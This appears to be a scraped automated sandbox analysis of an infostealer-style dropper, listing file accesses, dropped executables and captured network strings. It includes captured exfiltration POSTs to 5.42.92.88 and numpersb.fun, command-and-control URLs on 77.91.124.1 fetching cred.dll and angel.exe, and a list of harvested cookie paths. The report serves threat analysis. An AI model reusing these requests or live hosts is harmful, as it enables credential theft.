trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe.Local\" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\COMCTL32.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Cabinet.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\system32\Cabinet.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\VERSION.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\system32\VERSION.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\system32\apphelp.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\AppPatch\sysmain.sdb" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\AppPatch\AcLayers.DLL" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\SspiCli.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\system32\SspiCli.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\WINSPOOL.DRV" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\system32\WINSPOOL.DRV" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\MPR.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\system32\MPR.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\AppPatch\AcGenral.DLL" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\UxTheme.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\system32\UxTheme.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\WINMM.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\system32\WINMM.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\samcli.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\Windows\system32\samcli.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to touch file "C:\MSACM32.dll"56:Tb2d,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\Cabinet.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\VERSION.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\SspiCli.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\MPR.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\UxTheme.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\WINMM.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\samcli.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\MSACM32.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\sfc.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\sfc_os.DLL" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\dwmapi.dll" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\Users\geZfVrO\AppData\Local\Temp\IXP000.TMP\iu7rW97.exe" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\Users\geZfVrO\AppData\Local\Temp\IXP000.TMP\6kb5JC6.exe" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\FLTLIB.DLL" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "\Device\HarddiskVolume2\SSPICLI.DLL" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "\Device\HarddiskVolume2\MPR.DLL" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "\Device\HarddiskVolume2\UXTHEME.DLL"57:Tb08,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe.Local\" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\WINSPOOL.DRV" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe.Config" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "C:\Users\geZfVrO\AppData\Local\Temp\IXP000.TMP" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "\Device\HarddiskVolume2\6C4EEAFCDA86D5BD3F31BBB5D53DCBEB18542A14B599D2A5E222D8A1CDB5BAAE.EXE.LOCAL" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "\Device\HarddiskVolume2\WINSPOOL.DRV" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "\Device\HarddiskVolume2\6C4EEAFCDA86D5BD3F31BBB5D53DCBEB18542A14B599D2A5E222D8A1CDB5BAAE.EXE.CONFIG" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "iu7rW97.exe" trying to access non-existent file "C:\Users\geZfVrO\AppData\Local\Temp\IXP000.TMP\iu7rW97.exe.Local\" "iu7rW97.exe" trying to access non-existent file "C:\Users\geZfVrO\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "iu7rW97.exe" trying to access non-existent file "C:\Users\geZfVrO\AppData\Local\Temp\IXP000.TMP\iu7rW97.exe.Config" "iu7rW97.exe" trying to access non-existent file "C:\Users\geZfVrO\AppData\Local\Temp\IXP001.TMP" "iu7rW97.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\IU7RW97.EXE.LOCAL" "iu7rW97.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "iu7rW97.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\IU7RW97.EXE.CONFIG" "iu7rW97.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "WW5pa33.exe" trying to access non-existent file "C:\Users\geZfVrO\AppData\Local\Temp\IXP001.TMP\WW5pa33.exe.Local\" "WW5pa33.exe" trying to access non-existent file "C:\Users\geZfVrO\AppData\Local\Temp\IXP001.TMP\WINSPOOL.DRV" "WW5pa33.exe" trying to access non-existent file "C:\Users\geZfVrO\AppData\Local\Temp\IXP001.TMP\WW5pa33.exe.Config" "WW5pa33.exe" trying to access non-existent file "C:\Users\geZfVrO\AppData\Local\Temp\IXP002.TMP"58:Tfff,Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=mAbQoLFug60Y3fGQ1tEdContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache--mAbQoLFug60Y3fGQ1tEdContent-Disposition: form-data; name="hwid"RTUxMDIyQ0FGMzZBMTI1NTA1ODAzMA==--mAbQoLFug60Y3fGQ1tEdContent-Disposition: form-data; name="build"Z3JhYnM=--mAbQoLFug60Y3fGQ1tEd--"; File: "PCAP") Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=SZQrswlmE8ohtFp4EmglContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache--SZQrswlmE8ohtFp4EmglContent-Disposition: form-data; name="hwid"RTUxMDIyQ0FGMzZBMTI1NTA1ODAzMA==--SZQrswlmE8ohtFp4EmglContent-Disposition: form-data; name="build"Z3JhYnM=--SZQrswlmE8ohtFp4Emgl--"; File: "PCAP") Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=kxW18wbF18ZD8c9VEycOContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache--kxW18wbF18ZD8c9VEycOContent-Disposition: form-data; name="hwid"RTUxMDIyQ0FGMzZBMTI1NTA1ODAzMA==--kxW18wbF18ZD8c9VEycOContent-Disposition: form-data; name="build"Z3JhYnM=--kxW18wbF18ZD8c9VEycO--"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 527Host: numpersb.fun--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"1E14B6EE17B1CED742FF591009E601AE90FF8309--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 527Host: numpersb.fun--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"1E14B6EE17B1CED742FF591009E601AE90FF8309--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"2--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=6JQW7HzqrhdUC9NGxukMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache--6JQW7HzqrhdUC9NGxukMContent-Disposition: form-data; name="hwid"RTUxMDIyQ0FGMzZBMTI1NTA1ODAzMA==--6JQW7HzqrhdUC9NGxukMContent-Disposition: form-data; name="build"Z3JhYnM=--6JQW7HzqrhdUC9NGxukM--"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 527Host: numpersb.fun--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"1E14B6EE17B1CED742FF591009E601AE90FF8309--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"3--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP")59:T19bb,Pattern match: "https://www.youtube.com/" Pattern match: "https://www.facebook.com/login" Pattern match: "https://accounts.google.com/" Heuristic match: "`k~.zA" Heuristic match: "]_hw.Do" Heuristic match: "q4.aO" Heuristic match: "2&.MO" Heuristic match: ";AIJ.pr" Pattern match: "PjVW-PjWW.PjRW/PjSWHPjPWLPjQW" Pattern match: "http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0vj0h0?3http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%http://ocsp.usertrust.com0G4JaF^@F-J@H#jYhRB_mt^Ju~@Mc5" Pattern match: "https://www.facebook.com/loginstart" Pattern match: "MUID14003D42C358689016E42EEFC2DC6942microsoft.com/102525293601283114280726127296931064440_EDGE_Vmicrosoft.com/921625293601283114280756817302131064440SRCHDAF=NOFORMmicrosoft.com/10243627891203121140556821302331064440SRCHUIDV=2&GUID=C177287E4A464E9CB7BE8086D" Pattern match: "MUIDB1E6820FAA63069DD22173357A77C6858www.msn.com/921625893601283114280742153958731064443sptmarketen-us||us|en-us|en-us|en||RefA=2ED19CFB0B774A53A573DB9864FCBD06.RefC=2023-10-17T17:40:16Zwww.msn.com/10244227891203121140542356759031064443" Pattern match: "MUID14003D42C358689016E42EEFC2DC6942microsoft.com/102525293601283114280726127296931064440_EDGE_Vmicrosoft.com/921625293601283114280756817302131064440SRCHDAF=NOFORMmicrosoft.com/10243627891203121140556821302331064440" Pattern match: "MUID1E6820FAA63069DD22173357A77C6858msn.com/102525893601283114280712463158931064443_EDGE_Vmsn.com/921625893601283114280742185158731064443USRLOCmsn.com/92174227891203121140543172359031064443" Pattern match: "MUID14003D42C358689016E42EEFC2DC6942microsoft.com/102525293601283114280726127296931064440_EDGE_Vmicrosoft.com/921625293601283114280756817302131064440" Pattern match: "MUID1E6820FAA63069DD22173357A77C6858msn.com/102525893601283114280712463158931064443_EDGE_Vmsn.com/921625893601283114280742185158731064443" Pattern match: "MUIDB14003D42C358689016E42EEFC2DC6942ieonline.microsoft.com/921625293601283114280756814301931064440" Pattern match: "MUID14003D42C358689016E42EEFC2DC6942microsoft.com/102525293601283114280726127296931064440" Pattern match: "MUIDB1E6820FAA63069DD22173357A77C6858www.msn.com/921625893601283114280742153958731064443" Pattern match: "MUID1E6820FAA63069DD22173357A77C6858msn.com/102525893601283114280712463158931064443" Heuristic match: "ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Tue, 17 Oct 2023 16:06:31 GMTUser-Agent: Mi" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEATi7HzdaAMTTamxkE%2Fh8DM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "%TEMP%\1000030041\%SystemRoot%\system32\WindowsPowerShell\v1.0\iexplore.COM" Heuristic match: "%ALLUSERSPROFILE%\Oracle\Java\javapath\iexplore.COM" Heuristic match: "%WINDIR%\system32\iexplore.COM" Heuristic match: "%TEMP%\1000030041\%SystemRoot%\system32\WindowsPowerShell\v1.0\Chrome.COM" Heuristic match: "%ALLUSERSPROFILE%\Oracle\Java\javapath\Chrome.COM" Heuristic match: "%WINDIR%\system32\Chrome.COM" Heuristic match: "%WINDIR%\Chrome.COM" Heuristic match: "%PROGRAMFILES%\Wireshark\get-Chrome.COM" Heuristic match: "%LOCALAPPDATA%\Programs\Python\Python38-32\Scripts\get-Chrome.COM" Heuristic match: "%LOCALAPPDATA%\Programs\Python\Python38-32\get-Chrome.COM" Heuristic match: "%LOCALAPPDATA%\Programs\Python\Python36-32\Scripts\get-Chrome.COM" Heuristic match: "%LOCALAPPDATA%\Programs\Python\Python36-32\get-Chrome.COM" Pattern match: "www.youtube.com\//g" Pattern match: "https://www.youtube.com/error_204?t=jserror&level=ERROR" Pattern match: "https://www.youtube.com/s/desktop/39fc077e/img/favicon.ico" Pattern match: "https://i.ytimg.com/generate_204" Pattern match: "https://www.youtube.com/s/desktop/39fc077e/jsbin/scheduler.vflset/scheduler.js" Pattern match: "https://www.youtube.com/s/desktop/39fc077e/jsbin/network.vflset/network.js" Pattern match: "https://www.youtube.com/s/desktop/39fc077e/cssbin/www-main-desktop-watch-page-skeleton.css" Pattern match: "https://www.youtube.com" Pattern match: "https://accounts.google.com" Pattern match: "https://accounts.google.com/v3/signin/" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi._5ZOqXBkwmw.L.B1.O/am=jmBFzDw2AIL_RxPn7xknhwEAAAAAAAAAANZAdg/d=1/ed=1/rs=AOaEmlE0eUzaCAVasKP708i1kXS8aKlfhg/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVGdeOYktMqlap.woff2" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.W2TcMaC5utg.es5.O/am=jmBFzDw2AIL_RxPn7xknhwEAAAAAAAAAANZAdg/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlEQw7OXvOXsotDITJVvmEVTvUylwg/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2" Pattern match: "https://accounts.google.com/AccountChooser?continue\u003dhttps://accounts.google.com/\u0026followup\u003dhttps://accounts.google.com/],[null,[null,null,https://accounts.google.com/Logout?continue\u003dhttps://accounts.google.com/restart?continue%3Dhttps:"5a:T50f9,Found URL "http://5.42.92.88/acmgappdata=c:\users\gezfvro\appdata\roaming0kx/1kcommonprogramfiles=c:\program" - Source: "00000000-00001344.00000000.67040.00410000.00000004.mdmp") Found URL "http://5.42.92.88/loghub/master@@ws(ggyspggysxgghconaaaahcon5.42.92.885.42.92.885.42.92.88lmem6500lmemlmemy07wy07wlmemplmempy07wasycqqqqqqqqqqqqqqqq1wmuasycaeeepu8\gqqqqqqqqqqqqqqqq" - Source: "00000000-00001344.00000000.67040.00410000.00000004.mdmp") Found URL "http://5.42.92.88/loghub/mastert(=hzav@>havh>hav0?havx?h1wmuasycvmuchost:" - Source: "00000000-00001344.00000000.67040.00410000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0g4jaf^@f-j@h" - Source: "00000000-00002068.00000001.71727.000F0000.00000004.mdmp") Found URL "https://sectigo.com/cps0<0:082http://crl.sectigo.com/sectigorsacodesigningca.crl0sg0e0>2http://crt.sectigo.com/sectigorsacodesigningca.crt0" - Source: "00000000-00002068.00000001.71727.000F0000.00000004.mdmp") Found URL "http://ocsp.sectigo.com0!';wx9?yp&pgreater" - Source: "00000000-00002068.00000001.71727.000F0000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crl0http://ocsp.digicert.com0xlhttp://cacerts.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crt0*9z9ndo>fd;ig2xjk7*lp0uxhjyct[cfgc8g(f*^[0digicert" - Source: "00000000-00002068.00000001.71727.000F0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00002068.00000001.71727.000F0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0g4jaf^@f-j@h" - Source: "00000000-00002068.00000003.74732.000F0000.00000004.mdmp") Found URL "https://sectigo.com/cps0<0:082http://crl.sectigo.com/sectigorsacodesigningca.crl0sg0e0>2http://crt.sectigo.com/sectigorsacodesigningca.crt0" - Source: "00000000-00002068.00000003.74732.000F0000.00000004.mdmp") Found URL "http://ocsp.sectigo.com0!';wx9?yp&pgreater" - Source: "00000000-00002068.00000003.74732.000F0000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crl0http://ocsp.digicert.com0xlhttp://cacerts.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crt0*9z9ndo>fd;ig2xjk7*lp0uxhjyct[cfgc8g(f*^[0digicert" - Source: "00000000-00002068.00000003.74732.000F0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00002068.00000003.74732.000F0000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phplmemlmemlmemlmemlmemhttp://77.91.124.1/theme/index.phplmem@zqv" - Source: "00000000-00002124.00000000.68755.00450000.00000004.mdmp") Found URL "http://77.91.124.1/theme/plugins/cred.dll2ab05http://77.91.124.1/theme/plugins/cred.dllcontent-type:" - Source: "00000000-00002124.00000000.68755.00450000.00000004.mdmp") Found URL "http://77.91.124.1/theme/plugins/cred.dllhttp://77.91.124.1/theme/plugins/cred.dlllmem" - Source: "00000000-00002124.00000000.68755.00450000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.php/zoom/angel.exec:\users\gezfvro\appdata\local\microsoft\windows\temporary" - Source: "00000000-00002124.00000001.70679.00450000.00000004.mdmp") Found URL "ftp://77.91.68.52/zoom/angel.exeindowsanytimeupgradeui.exerocessor_level=6processor_ron=4f00programdata=c:\programdataprogles=c:\program" - Source: "00000000-00002124.00000001.70679.00450000.00000004.mdmp") Found URL "https://accounts.google.com/'" - Source: "00000000-00002124.00000001.70679.0051A000.00000004.mdmp") Found URL "https://accounts.google.com/" - Source: "00000000-00002124.00000001.70679.0051A000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.php/zoom/angel.exec:\users\gezfvro\appdata\local\microsoft\windows\temporary" - Source: "00000000-00002124.00000002.72600.00450000.00000004.mdmp") Found URL "ftp://77.91.68.52/zoom/angel.exeindowsanytimeupgradeui.exerocessor_level=6processor_ron=4f00programdata=c:\programdataprogles=c:\program" - Source: "00000000-00002124.00000002.72600.00450000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phpmicrosoft" - Source: "00000000-00002124.00000002.72600.00450000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phptp://77.91.124.1/theme/index.phplmemxlmemxlmemxlmemxlmemxlmemxlmemlmemlmemlmemlmemlmem8sav" - Source: "00000000-00002124.00000002.72600.00450000.00000004.mdmp") Found URL "https://accounts.google.com/'" - Source: "00000000-00002124.00000002.72600.00450000.00000004.mdmp") Found URL "https://accounts.google.com/" - Source: "00000000-00002124.00000002.72600.00450000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.php:hapubws@alot.com/c:\users\gezfvro\appdata\roaming\microsoft\windows\cookies\c2s1t5rv.txtcookie:hapubws@www.gmx.net/c:\users\gezfvro\appdata\roaming\microsoft\windows\cookies\fn7cxjfc.txtcookie:hapubws@58011369.log.optimizely.com/c:\users\gezfvro\appdata\roaming\microsoft\windows\cookies\7hl6915e.txtcookie:hapubws@netshoes.com.br/c:\users\gezfvro\appdata\roaming\microsoft\windows\cookies\uz8s43sb.txtcookie:hapubws@smi2.ru/c:\users\gezfvro\appdata\roaming\microsoft\windows\cookies\aujekfns.txtcookie:hapubws@wayfair.com/c:\users\gezfvro\appdata\roaming\microsoft\windows\cookies\sa8sg1gy.txtcookie:hapubws@same.eastmoney.com/c:\users\gezfvro\appdata\roaming\microsoft\windows\cookies\ebohppoy.txtcookie:hapubws@gateway.foresee.com/c:\users\gezfvro\appdata\roaming\microsoft\windows\cookies\o0yjcvgt.txtcookie:hapubws@jalan.net/c:\users\gezfvro\appdata\roaming\microsoft\windows\cookies\9wn7o6v0.txtcookie:hapubws@nextag.com/c:\users\gezfvro\appdata\roaming\microsoft\windows\cookies\vig24o8f.txtcooki